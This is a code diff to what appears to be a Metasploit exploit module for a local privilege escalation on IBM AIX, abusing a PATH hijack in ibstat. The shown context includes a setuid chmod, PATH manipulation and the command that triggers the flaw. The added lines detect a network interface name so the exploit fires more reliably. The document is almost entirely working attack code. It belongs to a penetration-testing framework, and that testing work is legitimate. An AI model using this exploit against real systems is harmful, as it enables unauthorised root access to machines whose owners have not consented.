diff --git a/modules/exploits/aix/local/ibstat_path.rb b/modules/exploits/aix/local/ibstat_path.rb index cb424c1cfe..1ac45dfa97 100644 --- a/modules/exploits/aix/local/ibstat_path.rb +++ b/modules/exploits/aix/local/ibstat_path.rb @@ -110,8 +110,22 @@ chmod 4555 #{root_file} cmd_exec("PATH=#{datastore["WritableDir"]}:$PATH") cmd_exec("export PATH") + print_status("Finding interface name...") + iface = "" + cmd_exec("lsdev -Cc if").each_line do |line| + if line.match(/^[a-z]+[0-9]+\s+Available/) and not line.match(/^lo[0-9]/) + iface = line.split(/\s+/)[0] + print_status("Found interface #{iface}.") + break + end + end + if iface == "" + iface = "en0" + print_status("Found no interface, defaulting to en0.") + end + print_status("Triggering vulnerablity...") - cmd_exec("/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null") + cmd_exec("/usr/bin/ibstat -a -i #{iface} 2>/dev/null >/dev/null") # The $PATH variable must be restored before the payload is executed # in cases where an euid root shell was gained